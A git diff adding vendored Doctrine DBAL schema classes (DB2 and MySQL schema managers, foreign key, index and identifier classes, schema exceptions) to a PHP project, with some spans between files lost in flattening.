'scale'; + } + } + + // A null value and an empty string are actually equal for a comment so they should not trigger a change. + if ( + $properties1['comment'] !== $properties2['comment'] && + ! ($properties1['comment'] === null && $properties2['comment'] === '') && + ! ($properties2['comment'] === null && $properties1['comment'] === '') + ) { + $changedProperties[] = 'comment'; + } + + $customOptions1 = $column1->getCustomSchemaOptions(); + $customOptions2 = $column2->getCustomSchemaOptions(); + + foreach (array_merge(array_keys($customOptions1), array_keys($customOptions2)) as $key) { + if (! array_key_exists($key, $properties1) || ! array_key_exists($key, $properties2)) { + $changedProperties[] = $key; + } elseif ($properties1[$key] !== $properties2[$key]) { + $changedProperties[] = $key; + } + } + + $platformOptions1 = $column1->getPlatformOptions(); + $platformOptions2 = $column2->getPlatformOptions(); + + foreach (array_keys(array_intersect_key($platformOptions1, $platformOptions2)) as $key) { + if ($properties1[$key] === $properties2[$key]) { + continue; + } + + $changedProperties[] = $key; + } + + return array_unique($changedProperties); + } + + /** + * Finds the difference between the indexes $index1 and $index2. + * + * Compares $index1 with $index2 and returns true if there are any + * differences or false in case there are no differences. + * + * @internal The method should be only used from within the {@see Comparator} class hierarchy. + * + * @return bool + */ + public function diffIndex(Index $index1, Index $index2) + { + return ! ($index1->isFulfilledBy($index2) && $index2->isFulfilledBy($index1)); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Constraint.php b/vendor/doctrine/dbal/src/Schema/Constraint.php new file mode 100644 index 000000000..f47ee1fd1 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Constraint.php @@ -0,0 +1,41 @@ + + */ +class DB2SchemaManager extends AbstractSchemaManager +{ + /** + * {@inheritDoc} + */ + public function listTableNames() + { + return $this->doListTableNames(); + } + + /** + * {@inheritDoc} + */ + public function listTables() + { + return $this->doListTables(); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see introspectTable()} instead. + */ + public function listTableDetails($name) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5595', + '%s is deprecated. Use introspectTable() instead.', + __METHOD__, + ); + + return $this->doListTableDetails($name); + } + + /** + * {@inheritDoc} + */ + public function listTableColumns($table, $database = null) + { + return $this->doListTableColumns($table, $database); + } + + /** + * {@inheritDoc} + */ + public function listTableIndexes($table) + { + return $this->doListTableIndexes($table); + } + + /** + * {@inheritDoc} + */ + public function listTableForeignKeys($table, $database = null) + { + return $this->doListTableForeignKeys($table, $database); + } + + /** + * {@inheritDoc} + * + * @throws Exception + */ + protected function _getPortableTableColumnDefinition($tableColumn) + { + $tableColumn = array_change_key_case($tableColumn, CASE_LOWER); + + $length = null; + $fixed = null; + $scale = false; + $precision = false; + + $default = null; + + if ($tableColumn['default'] !== null && $tableColumn['default'] !== 'NULL') { + $default = $tableColumn['default']; + + if (preg_match('/^\'(.*)\'$/s', $default, $matches) === 1) { + $default = str_replace("''", "'", $matches[1]); + } + } + + $type = $this->_platform->getDoctrineTypeMapping($tableColumn['typename']); + + if (isset($tableColumn['comment'])) { + $type = $this->extractDoctrineTypeFromComment($tableColumn['comment'], $type); + $tableColumn['comment'] = $this->removeDoctrineTypeFromComment($tableColumn['comment'], $type); + } + + switch (strtolower($tableColumn['typename'])) { + case 'varchar': + if ($tableColumn['codepage'] === 0) { + $type = Types::BINARY; + } + + $length = $tableColumn['length']; + $fixed = false; + break; + + case 'character': + if ($tableColumn['codepage'] === 0) { + $type = Types::BINARY; + } + + $length = $tableColumn['length']; + $fixed = true; + break; + + case 'clob': + $length = $tableColumn['length']; + break; + + case 'decimal': + case 'double': + case 'real': + $scale = $tableColumn['scale']; + $precision = $tableColumn['length']; + break; + } + + $options = [ + 'length' => $length, + 'fixed' => (bool) $fixed, + 'default' => $default, + 'autoincrement' => (bool) $tableColumn['autoincrement'], + 'notnull' => $tableColumn['nulls'] === 'N', + 'comment' => isset($tableColumn['comment']) && $tableColumn['comment'] !== '' + ? $tableColumn['comment'] + : null, + ]; + + if ($scale !== null && $precision !== null) { + $options['scale'] = $scale; + $options['precision'] = $precision; + } + + return new Column($tableColumn['colname'], Type::getType($type), $options); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableDefinition($table) + { + $table = array_change_key_case($table, CASE_LOWER); + + return $table['name']; + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableIndexesList($tableIndexes, $tableName = null) + { + foreach ($tableIndexes as &$tableIndexRow) { + $tableIndexRow = array_change_key_case($tableIndexRow, CASE_LOWER); + $tableIndexRow['primary'] = (bool) $tableIndexRow['primary']; + } + + return parent::_getPortableTableIndexesList($tableIndexes, $tableName); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableForeignKeyDefinition($tableForeignKey) + { + return new ForeignKeyConstraint( + $tableForeignKey['local_columns'], + $tableForeignKey['foreign_table'], + $tableForeignKey['foreign_columns'], + $tableForeignKey['name'], + $tableForeignKey['options'], + ); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableForeignKeysList($tableForeignKeys) + { + $foreignKeys = []; + + foreach ($tableForeignKeys as $tableForeignKey) { + $tableForeignKey = array_change_key_case($tableForeignKey, CASE_LOWER); + + if (! isset($foreignKeys[$tableForeignKey['index_name']])) { + $foreignKeys[$tableForeignKey['index_name']] = [ + 'local_columns' => [$tableForeignKey['local_column']], + 'foreign_table' => $tableForeignKey['foreign_table'], + 'foreign_columns' => [$tableForeignKey['foreign_column']], + 'name' => $tableForeignKey['index_name'], + 'options' => [ + 'onUpdate' => $tableForeignKey['on_update'], + 'onDelete' => $tableForeignKey['on_delete'], + ], + ]; + } else { + $foreignKeys[$tableForeignKey['index_name']]['local_columns'][] = $tableForeignKey['local_column']; + $foreignKeys[$tableForeignKey['index_name']]['foreign_columns'][] = $tableForeignKey['foreign_column']; + } + } + + return parent::_getPortableTableForeignKeysList($foreignKeys); + } + + /** + * @param string $def + * + * @return string|null + */ + protected function _getPortableForeignKeyRuleDef($def) + { + if ($def === 'C') { + return 'CASCADE'; + } + + if ($def === 'N') { + return 'SET NULL'; + } + + return null; + } + + /** + * {@inheritDoc} + */ + protected function _getPortableViewDefinition($view) + { + $view = array_change_key_case($view, CASE_LOWER); + + $sql = ''; + $pos = strpos($view['text'], ' AS '); + + if ($pos !== false) { + $sql = substr($view['text'], $pos + 4); + } + + return new View($view['name'], $sql); + } + + protected function normalizeName(string $name): string + { + $identifier = new Identifier($name); + + return $identifier->isQuoted() ? $identifier->getName() : strtoupper($name); + } + + protected function selectTableNames(string $databaseName): Result + { + $sql = <<<'SQL' +SELECT NAME +FROM SYSIBM.SYSTABLES +WHERE TYPE = 'T' + AND CREATOR = ? +SQL; + + return $this->_conn->executeQuery($sql, [$databaseName]); + } + + protected function selectTableColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' C.TABNAME AS NAME,'; + } + + $sql .= <<<'SQL' + C.COLNAME, + C.TYPENAME, + C.CODEPAGE, + C.NULLS, + C.LENGTH, + C.SCALE, + C.REMARKS AS COMMENT, + CASE + WHEN C.GENERATED = 'D' THEN 1 + ELSE 0 + END AS AUTOINCREMENT, + C.DEFAULT +FROM SYSCAT.COLUMNS C + JOIN SYSCAT.TABLES AS T + ON T.TABSCHEMA = C.TABSCHEMA + AND T.TABNAME = C.TABNAME +SQL; + + $conditions = ['C.TABSCHEMA = ?', "T.TYPE = 'T'"]; + $params = [$databaseName]; + + if ($tableName !== null) { + $conditions[] = 'C.TABNAME = ?'; + $params[] = $tableName; + } + + $sql .= ' WHERE ' . implode(' AND ', $conditions) . ' ORDER BY C.TABNAME, C.COLNO'; + + return $this->_conn->executeQuery($sql, $params); + } + + protected function selectIndexColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' IDX.TABNAME AS NAME,'; + } + + $sql .= <<<'SQL' + IDX.INDNAME AS KEY_NAME, + IDXCOL.COLNAME AS COLUMN_NAME, + CASE + WHEN IDX.UNIQUERULE = 'P' THEN 1 + ELSE 0 + END AS PRIMARY, + CASE + WHEN IDX.UNIQUERULE = 'D' THEN 1 + ELSE 0 + END AS NON_UNIQUE + FROM SYSCAT.INDEXES AS IDX + JOIN SYSCAT.TABLES AS T + ON IDX.TABSCHEMA = T.TABSCHEMA AND IDX.TABNAME = T.TABNAME + JOIN SYSCAT.INDEXCOLUSE AS IDXCOL + ON IDX.INDSCHEMA = IDXCOL.INDSCHEMA AND IDX.INDNAME = IDXCOL.INDNAME +SQL; + + $conditions = ['IDX.TABSCHEMA = ?', "T.TYPE = 'T'"]; + $params = [$databaseName]; + + if ($tableName !== null) { + $conditions[] = 'IDX.TABNAME = ?'; + $params[] = $tableName; + } + + $sql .= ' WHERE ' . implode(' AND ', $conditions) . ' ORDER BY IDX.INDNAME, IDXCOL.COLSEQ'; + + return $this->_conn->executeQuery($sql, $params); + } + + protected function selectForeignKeyColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = 'SELECT'; + + if ($tableName === null) { + $sql .= ' R.TABNAME AS NAME,'; + } + + $sql .= <<<'SQL' + FKCOL.COLNAME AS LOCAL_COLUMN, + R.REFTABNAME AS FOREIGN_TABLE, + PKCOL.COLNAME AS FOREIGN_COLUMN, + R.CONSTNAME AS INDEX_NAME, + CASE + WHEN R.UPDATERULE = 'R' THEN 'RESTRICT' + END AS ON_UPDATE, + CASE + WHEN R.DELETERULE = 'C' THEN 'CASCADE' + WHEN R.DELETERULE = 'N' THEN 'SET NULL' + WHEN R.DELETERULE = 'R' THEN 'RESTRICT' + END AS ON_DELETE + FROM SYSCAT.REFERENCES AS R + JOIN SYSCAT.TABLES AS T + ON T.TABSCHEMA = R.TABSCHEMA + AND T.TABNAME = R.TABNAME + JOIN SYSCAT.KEYCOLUSE AS FKCOL + ON FKCOL.CONSTNAME = R.CONSTNAME + AND FKCOL.TABSCHEMA = R.TABSCHEMA + AND FKCOL.TABNAME = R.TABNAME + JOIN SYSCAT.KEYCOLUSE AS PKCOL + ON PKCOL.CONSTNAME = R.REFKEYNAME + AND PKCOL.TABSCHEMA = R.REFTABSCHEMA + AND PKCOL.TABNAME = R.REFTABNAME + AND PKCOL.COLSEQ = FKCOL.COLSEQ +SQL; + + $conditions = ['R.TABSCHEMA = ?', "T.TYPE = 'T'"]; + $params = [$databaseName]; + + if ($tableName !== null) { + $conditions[] = 'R.TABNAME = ?'; + $params[] = $tableName; + } + + $sql .= ' WHERE ' . implode(' AND ', $conditions) . ' ORDER BY R.CONSTNAME, FKCOL.COLSEQ'; + + return $this->_conn->executeQuery($sql, $params); + } + + /** + * {@inheritDoc} + */ + protected function fetchTableOptionsByTable(string $databaseName, ?string $tableName = null): array + { + $sql = 'SELECT NAME, REMARKS'; + + $conditions = []; + $params = []; + + if ($tableName !== null) { + $conditions[] = 'NAME = ?'; + $params[] = $tableName; + } + + $sql .= ' FROM SYSIBM.SYSTABLES'; + + if ($conditions !== []) { + $sql .= ' WHERE ' . implode(' AND ', $conditions); + } + + /** @var array> $metadata */ + $metadata = $this->_conn->executeQuery($sql, $params) + ->fetchAllAssociativeIndexed(); + + $tableOptions = []; + foreach ($metadata as $table => $data) { + $data = array_change_key_case($data, CASE_LOWER); + + $tableOptions[$table] = ['comment' => $data['remarks']]; + } + + return $tableOptions; + } +} diff --git a/vendor/doctrine/dbal/src/Schema/DefaultSchemaManagerFactory.php b/vendor/doctrine/dbal/src/Schema/DefaultSchemaManagerFactory.php new file mode 100644 index 000000000..efba87f29 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/DefaultSchemaManagerFactory.php @@ -0,0 +1,20 @@ +getDatabasePlatform()->createSchemaManager($connection); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Exception/ColumnAlreadyExists.php b/vendor/doctrine/dbal/src/Schema/Exception/ColumnAlreadyExists.php new file mode 100644 index 000000000..cc7acea03 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Exception/ColumnAlreadyExists.php @@ -0,0 +1,21 @@ +getName(), + implode(', ', $foreignKey->getColumns()), + $foreignKey->getForeignTableName(), + implode(', ', $foreignKey->getForeignColumns()), + ), + ); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Exception/NamespaceAlreadyExists.php b/vendor/doctrine/dbal/src/Schema/Exception/NamespaceAlreadyExists.php new file mode 100644 index 000000000..008bd5f0e --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Exception/NamespaceAlreadyExists.php @@ -0,0 +1,21 @@ + Identifier) + * + * @var Identifier[] + */ + protected $_localColumnNames; + + /** + * Table or asset identifier instance of the referenced table name the foreign key constraint is associated with. + * + * @var Table|Identifier + */ + protected $_foreignTableName; + + /** + * Asset identifier instances of the referenced table column names the foreign key constraint is associated with. + * array($columnName => Identifier) + * + * @var Identifier[] + */ + protected $_foreignColumnNames; + + /** + * Options associated with the foreign key constraint. + * + * @var mixed[] + */ + protected $_options; + + /** + * Initializes the foreign key constraint. + * + * @param string[] $localColumnNames Names of the referencing table columns. + * @param Table|string $foreignTableName Referenced table. + * @param string[] $foreignColumnNames Names of the referenced table columns. + * @param string|null $name Name of the foreign key constraint. + * @param mixed[] $options Options associated with the foreign key constraint. + */ + public function __construct( + array $localColumnNames, + $foreignTableName, + array $foreignColumnNames, + $name = null, + array $options = [] + ) { + if ($name !== null) { + $this->_setName($name); + } + + $this->_localColumnNames = $this->createIdentifierMap($localColumnNames); + + if ($foreignTableName instanceof Table) { + $this->_foreignTableName = $foreignTableName; + } else { + $this->_foreignTableName = new Identifier($foreignTableName); + } + + $this->_foreignColumnNames = $this->createIdentifierMap($foreignColumnNames); + $this->_options = $options; + } + + /** + * @param string[] $names + * + * @return Identifier[] + */ + private function createIdentifierMap(array $names): array + { + $identifiers = []; + + foreach ($names as $name) { + $identifiers[$name] = new Identifier($name); + } + + return $identifiers; + } + + /** + * Returns the name of the referencing table + * the foreign key constraint is associated with. + * + * @deprecated Use the table that contains the foreign key as part of its {@see Table::$_fkConstraints} instead. + * + * @return string + */ + public function getLocalTableName() + { + return $this->_localTable->getName(); + } + + /** + * Sets the Table instance of the referencing table + * the foreign key constraint is associated with. + * + * @deprecated Use the table that contains the foreign key as part of its {@see Table::$_fkConstraints} instead. + * + * @param Table $table Instance of the referencing table. + * + * @return void + */ + public function setLocalTable(Table $table) + { + $this->_localTable = $table; + } + + /** + * @deprecated Use the table that contains the foreign key as part of its {@see Table::$_fkConstraints} instead. + * + * @return Table + */ + public function getLocalTable() + { + return $this->_localTable; + } + + /** + * Returns the names of the referencing table columns + * the foreign key constraint is associated with. + * + * @return string[] + */ + public function getLocalColumns() + { + return array_keys($this->_localColumnNames); + } + + /** + * Returns the quoted representation of the referencing table column names + * the foreign key constraint is associated with. + * + * But only if they were defined with one or the referencing table column name + * is a keyword reserved by the platform. + * Otherwise the plain unquoted value as inserted is returned. + * + * @param AbstractPlatform $platform The platform to use for quotation. + * + * @return string[] + */ + public function getQuotedLocalColumns(AbstractPlatform $platform) + { + $columns = []; + + foreach ($this->_localColumnNames as $column) { + $columns[] = $column->getQuotedName($platform); + } + + return $columns; + } + + /** + * Returns unquoted representation of local table column names for comparison with other FK + * + * @return string[] + */ + public function getUnquotedLocalColumns() + { + return array_map([$this, 'trimQuotes'], $this->getLocalColumns()); + } + + /** + * Returns unquoted representation of foreign table column names for comparison with other FK + * + * @return string[] + */ + public function getUnquotedForeignColumns() + { + return array_map([$this, 'trimQuotes'], $this->getForeignColumns()); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see getLocalColumns()} instead. + * + * @see getLocalColumns + */ + public function getColumns() + { + return $this->getLocalColumns(); + } + + /** + * Returns the quoted representation of the referencing table column names + * the foreign key constraint is associated with. + * + * But only if they were defined with one or the referencing table column name + * is a keyword reserved by the platform. + * Otherwise the plain unquoted value as inserted is returned. + * + * @deprecated Use {@see getQuotedLocalColumns()} instead. + * + * @see getQuotedLocalColumns + * + * @param AbstractPlatform $platform The platform to use for quotation. + * + * @return string[] + */ + public function getQuotedColumns(AbstractPlatform $platform) + { + return $this->getQuotedLocalColumns($platform); + } + + /** + * Returns the name of the referenced table + * the foreign key constraint is associated with. + * + * @return string + */ + public function getForeignTableName() + { + return $this->_foreignTableName->getName(); + } + + /** + * Returns the non-schema qualified foreign table name. + * + * @return string + */ + public function getUnqualifiedForeignTableName() + { + $name = $this->_foreignTableName->getName(); + $position = strrpos($name, '.'); + + if ($position !== false) { + $name = substr($name, $position + 1); + } + + return strtolower($name); + } + + /** + * Returns the quoted representation of the referenced table name + * the foreign key constraint is associated with. + * + * But only if it was defined with one or the referenced table name + * is a keyword reserved by the platform. + * Otherwise the plain unquoted value as inserted is returned. + * + * @param AbstractPlatform $platform The platform to use for quotation. + * + * @return string + */ + public function getQuotedForeignTableName(AbstractPlatform $platform) + { + return $this->_foreignTableName->getQuotedName($platform); + } + + /** + * Returns the names of the referenced table columns + * the foreign key constraint is associated with. + * + * @return string[] + */ + public function getForeignColumns() + { + return array_keys($this->_foreignColumnNames); + } + + /** + * Returns the quoted representation of the referenced table column names + * the foreign key constraint is associated with. + * + * But only if they were defined with one or the referenced table column name + * is a keyword reserved by the platform. + * Otherwise the plain unquoted value as inserted is returned. + * + * @param AbstractPlatform $platform The platform to use for quotation. + * + * @return string[] + */ + public function getQuotedForeignColumns(AbstractPlatform $platform) + { + $columns = []; + + foreach ($this->_foreignColumnNames as $column) { + $columns[] = $column->getQuotedName($platform); + } + + return $columns; + } + + /** + * Returns whether or not a given option + * is associated with the foreign key constraint. + * + * @param string $name Name of the option to check. + * + * @return bool + */ + public function hasOption($name) + { + return isset($this->_options[$name]); + } + + /** + * Returns an option associated with the foreign key constraint. + * + * @param string $name Name of the option the foreign key constraint is associated with. + * + * @return mixed + */ + public function getOption($name) + { + return $this->_options[$name]; + } + + /** + * Returns the options associated with the foreign key constraint. + * + * @return mixed[] + */ + public function getOptions() + { + return $this->_options; + } + + /** + * Returns the referential action for UPDATE operations + * on the referenced table the foreign key constraint is associated with. + * + * @return string|null + */ + public function onUpdate() + { + return $this->onEvent('onUpdate'); + } + + /** + * Returns the referential action for DELETE operations + * on the referenced table the foreign key constraint is associated with. + * + * @return string|null + */ + public function onDelete() + { + return $this->onEvent('onDelete'); + } + + /** + * Returns the referential action for a given database operation + * on the referenced table the foreign key constraint is associated with. + * + * @param string $event Name of the database operation/event to return the referential action for. + */ + private function onEvent($event): ?string + { + if (isset($this->_options[$event])) { + $onEvent = strtoupper($this->_options[$event]); + + if ($onEvent !== 'NO ACTION' && $onEvent !== 'RESTRICT') { + return $onEvent; + } + } + + return null; + } + + /** + * Checks whether this foreign key constraint intersects the given index columns. + * + * Returns `true` if at least one of this foreign key's local columns + * matches one of the given index's columns, `false` otherwise. + * + * @param Index $index The index to be checked against. + * + * @return bool + */ + public function intersectsIndexColumns(Index $index) + { + foreach ($index->getColumns() as $indexColumn) { + foreach ($this->_localColumnNames as $localColumn) { + if (strtolower($indexColumn) === strtolower($localColumn->getName())) { + return true; + } + } + } + + return false; + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Identifier.php b/vendor/doctrine/dbal/src/Schema/Identifier.php new file mode 100644 index 000000000..f34465e9e --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Identifier.php @@ -0,0 +1,27 @@ +_setName($identifier); + + if (! $quote || $this->_quoted) { + return; + } + + $this->_setName('"' . $this->getName() . '"'); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Index.php b/vendor/doctrine/dbal/src/Schema/Index.php new file mode 100644 index 000000000..84fac4146 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Index.php @@ -0,0 +1,365 @@ + Identifier) + * + * @var Identifier[] + */ + protected $_columns = []; + + /** @var bool */ + protected $_isUnique = false; + + /** @var bool */ + protected $_isPrimary = false; + + /** + * Platform specific flags for indexes. + * array($flagName => true) + * + * @var true[] + */ + protected $_flags = []; + + /** + * Platform specific options + * + * @todo $_flags should eventually be refactored into options + * @var mixed[] + */ + private array $options = []; + + /** + * @param string $name + * @param string[] $columns + * @param bool $isUnique + * @param bool $isPrimary + * @param string[] $flags + * @param mixed[] $options + */ + public function __construct( + $name, + array $columns, + $isUnique = false, + $isPrimary = false, + array $flags = [], + array $options = [] + ) { + $isUnique = $isUnique || $isPrimary; + + $this->_setName($name); + $this->_isUnique = $isUnique; + $this->_isPrimary = $isPrimary; + $this->options = $options; + + foreach ($columns as $column) { + $this->_addColumn($column); + } + + foreach ($flags as $flag) { + $this->addFlag($flag); + } + } + + /** @throws InvalidArgumentException */ + protected function _addColumn(string $column): void + { + $this->_columns[$column] = new Identifier($column); + } + + /** + * {@inheritDoc} + */ + public function getColumns() + { + return array_keys($this->_columns); + } + + /** + * {@inheritDoc} + */ + public function getQuotedColumns(AbstractPlatform $platform) + { + $subParts = $platform->supportsColumnLengthIndexes() && $this->hasOption('lengths') + ? $this->getOption('lengths') : []; + + $columns = []; + + foreach ($this->_columns as $column) { + $length = array_shift($subParts); + + $quotedColumn = $column->getQuotedName($platform); + + if ($length !== null) { + $quotedColumn .= '(' . $length . ')'; + } + + $columns[] = $quotedColumn; + } + + return $columns; + } + + /** @return string[] */ + public function getUnquotedColumns() + { + return array_map([$this, 'trimQuotes'], $this->getColumns()); + } + + /** + * Is the index neither unique nor primary key? + * + * @return bool + */ + public function isSimpleIndex() + { + return ! $this->_isPrimary && ! $this->_isUnique; + } + + /** @return bool */ + public function isUnique() + { + return $this->_isUnique; + } + + /** @return bool */ + public function isPrimary() + { + return $this->_isPrimary; + } + + /** + * @param string $name + * @param int $pos + * + * @return bool + */ + public function hasColumnAtPosition($name, $pos = 0) + { + $name = $this->trimQuotes(strtolower($name)); + $indexColumns = array_map('strtolower', $this->getUnquotedColumns()); + + return array_search($name, $indexColumns, true) === $pos; + } + + /** + * Checks if this index exactly spans the given column names in the correct order. + * + * @param string[] $columnNames + * + * @return bool + */ + public function spansColumns(array $columnNames) + { + $columns = $this->getColumns(); + $numberOfColumns = count($columns); + $sameColumns = true; + + for ($i = 0; $i < $numberOfColumns; $i++) { + if ( + isset($columnNames[$i]) + && $this->trimQuotes(strtolower($columns[$i])) === $this->trimQuotes(strtolower($columnNames[$i])) + ) { + continue; + } + + $sameColumns = false; + } + + return $sameColumns; + } + + /** + * Keeping misspelled function name for backwards compatibility + * + * @deprecated Use {@see isFulfilledBy()} instead. + * + * @return bool + */ + public function isFullfilledBy(Index $other) + { + return $this->isFulfilledBy($other); + } + + /** + * Checks if the other index already fulfills all the indexing and constraint needs of the current one. + */ + public function isFulfilledBy(Index $other): bool + { + // allow the other index to be equally large only. It being larger is an option + // but it creates a problem with scenarios of the kind PRIMARY KEY(foo,bar) UNIQUE(foo) + if (count($other->getColumns()) !== count($this->getColumns())) { + return false; + } + + // Check if columns are the same, and even in the same order + $sameColumns = $this->spansColumns($other->getColumns()); + + if ($sameColumns) { + if (! $this->samePartialIndex($other)) { + return false; + } + + if (! $this->hasSameColumnLengths($other)) { + return false; + } + + if (! $this->isUnique() && ! $this->isPrimary()) { + // this is a special case: If the current key is neither primary or unique, any unique or + // primary key will always have the same effect for the index and there cannot be any constraint + // overlaps. This means a primary or unique index can always fulfill the requirements of just an + // index that has no constraints. + return true; + } + + if ($other->isPrimary() !== $this->isPrimary()) { + return false; + } + + return $other->isUnique() === $this->isUnique(); + } + + return false; + } + + /** + * Detects if the other index is a non-unique, non primary index that can be overwritten by this one. + * + * @return bool + */ + public function overrules(Index $other) + { + if ($other->isPrimary()) { + return false; + } + + if ($this->isSimpleIndex() && $other->isUnique()) { + return false; + } + + return $this->spansColumns($other->getColumns()) + && ($this->isPrimary() || $this->isUnique()) + && $this->samePartialIndex($other); + } + + /** + * Returns platform specific flags for indexes. + * + * @return string[] + */ + public function getFlags() + { + return array_keys($this->_flags); + } + + /** + * Adds Flag for an index that translates to platform specific handling. + * + * @param string $flag + * + * @return Index + * + * @example $index->addFlag('CLUSTERED') + */ + public function addFlag($flag) + { + $this->_flags[strtolower($flag)] = true; + + return $this; + } + + /** + * Does this index have a specific flag? + * + * @param string $flag + * + * @return bool + */ + public function hasFlag($flag) + { + return isset($this->_flags[strtolower($flag)]); + } + + /** + * Removes a flag. + * + * @param string $flag + * + * @return void + */ + public function removeFlag($flag) + { + unset($this->_flags[strtolower($flag)]); + } + + /** + * @param string $name + * + * @return bool + */ + public function hasOption($name) + { + return isset($this->options[strtolower($name)]); + } + + /** + * @param string $name + * + * @return mixed + */ + public function getOption($name) + { + return $this->options[strtolower($name)]; + } + + /** @return mixed[] */ + public function getOptions() + { + return $this->options; + } + + /** + * Return whether the two indexes have the same partial index + */ + private function samePartialIndex(Index $other): bool + { + if ( + $this->hasOption('where') + && $other->hasOption('where') + && $this->getOption('where') === $other->getOption('where') + ) { + return true; + } + + return ! $this->hasOption('where') && ! $other->hasOption('where'); + } + + /** + * Returns whether the index has the same column lengths as the other + */ + private function hasSameColumnLengths(self $other): bool + { + $filter = static function (?int $length): bool { + return $length !== null; + }; + + return array_filter($this->options['lengths'] ?? [], $filter) + === array_filter($other->options['lengths'] ?? [], $filter); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/LegacySchemaManagerFactory.php b/vendor/doctrine/dbal/src/Schema/LegacySchemaManagerFactory.php new file mode 100644 index 000000000..01c856b6e --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/LegacySchemaManagerFactory.php @@ -0,0 +1,19 @@ +getDriver()->getSchemaManager( + $connection, + $connection->getDatabasePlatform(), + ); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/MySQLSchemaManager.php b/vendor/doctrine/dbal/src/Schema/MySQLSchemaManager.php new file mode 100644 index 000000000..5faae24fa --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/MySQLSchemaManager.php @@ -0,0 +1,622 @@ + + */ +class MySQLSchemaManager extends AbstractSchemaManager +{ + /** @see https://mariadb.com/kb/en/library/string-literals/#escape-sequences */ + private const MARIADB_ESCAPE_SEQUENCES = [ + '\\0' => "\0", + "\\'" => "'", + '\\"' => '"', + '\\b' => "\b", + '\\n' => "\n", + '\\r' => "\r", + '\\t' => "\t", + '\\Z' => "\x1a", + '\\\\' => '\\', + '\\%' => '%', + '\\_' => '_', + + // Internally, MariaDB escapes single quotes using the standard syntax + "''" => "'", + ]; + + /** + * {@inheritDoc} + */ + public function listTableNames() + { + return $this->doListTableNames(); + } + + /** + * {@inheritDoc} + */ + public function listTables() + { + return $this->doListTables(); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see introspectTable()} instead. + */ + public function listTableDetails($name) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5595', + '%s is deprecated. Use introspectTable() instead.', + __METHOD__, + ); + + return $this->doListTableDetails($name); + } + + /** + * {@inheritDoc} + */ + public function listTableColumns($table, $database = null) + { + return $this->doListTableColumns($table, $database); + } + + /** + * {@inheritDoc} + */ + public function listTableIndexes($table) + { + return $this->doListTableIndexes($table); + } + + /** + * {@inheritDoc} + */ + public function listTableForeignKeys($table, $database = null) + { + return $this->doListTableForeignKeys($table, $database); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableViewDefinition($view) + { + return new View($view['TABLE_NAME'], $view['VIEW_DEFINITION']); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableDefinition($table) + { + return array_shift($table); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableIndexesList($tableIndexes, $tableName = null) + { + foreach ($tableIndexes as $k => $v) { + $v = array_change_key_case($v, CASE_LOWER); + if ($v['key_name'] === 'PRIMARY') { + $v['primary'] = true; + } else { + $v['primary'] = false; + } + + if (strpos($v['index_type'], 'FULLTEXT') !== false) { + $v['flags'] = ['FULLTEXT']; + } elseif (strpos($v['index_type'], 'SPATIAL') !== false) { + $v['flags'] = ['SPATIAL']; + } + + // Ignore prohibited prefix `length` for spatial index + if (strpos($v['index_type'], 'SPATIAL') === false) { + $v['length'] = isset($v['sub_part']) ? (int) $v['sub_part'] : null; + } + + $tableIndexes[$k] = $v; + } + + return parent::_getPortableTableIndexesList($tableIndexes, $tableName); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableDatabaseDefinition($database) + { + return $database['Database']; + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableColumnDefinition($tableColumn) + { + $tableColumn = array_change_key_case($tableColumn, CASE_LOWER); + + $dbType = strtolower($tableColumn['type']); + $dbType = strtok($dbType, '(), '); + assert(is_string($dbType)); + + $length = $tableColumn['length'] ?? strtok('(), '); + + $fixed = null; + + if (! isset($tableColumn['name'])) { + $tableColumn['name'] = ''; + } + + $scale = null; + $precision = null; + + $type = $origType = $this->_platform->getDoctrineTypeMapping($dbType); + + // In cases where not connected to a database DESCRIBE $table does not return 'Comment' + if (isset($tableColumn['comment'])) { + $type = $this->extractDoctrineTypeFromComment($tableColumn['comment'], $type); + $tableColumn['comment'] = $this->removeDoctrineTypeFromComment($tableColumn['comment'], $type); + } + + // Check underlying database type where doctrine type is inferred from DC2Type comment + // and set a flag if it is not as expected. + if ($origType !== $type && $this->expectedDbType($type, $tableColumn) !== $dbType) { + $tableColumn['declarationMismatch'] = true; + } + + switch ($dbType) { + case 'char': + case 'binary': + $fixed = true; + break; + + case 'float': + case 'double': + case 'real': + case 'numeric': + case 'decimal': + if ( + preg_match( + '([A-Za-z]+\(([0-9]+),([0-9]+)\))', + $tableColumn['type'], + $match, + ) === 1 + ) { + $precision = $match[1]; + $scale = $match[2]; + $length = null; + } + + break; + + case 'tinytext': + $length = AbstractMySQLPlatform::LENGTH_LIMIT_TINYTEXT; + break; + + case 'text': + $length = AbstractMySQLPlatform::LENGTH_LIMIT_TEXT; + break; + + case 'mediumtext': 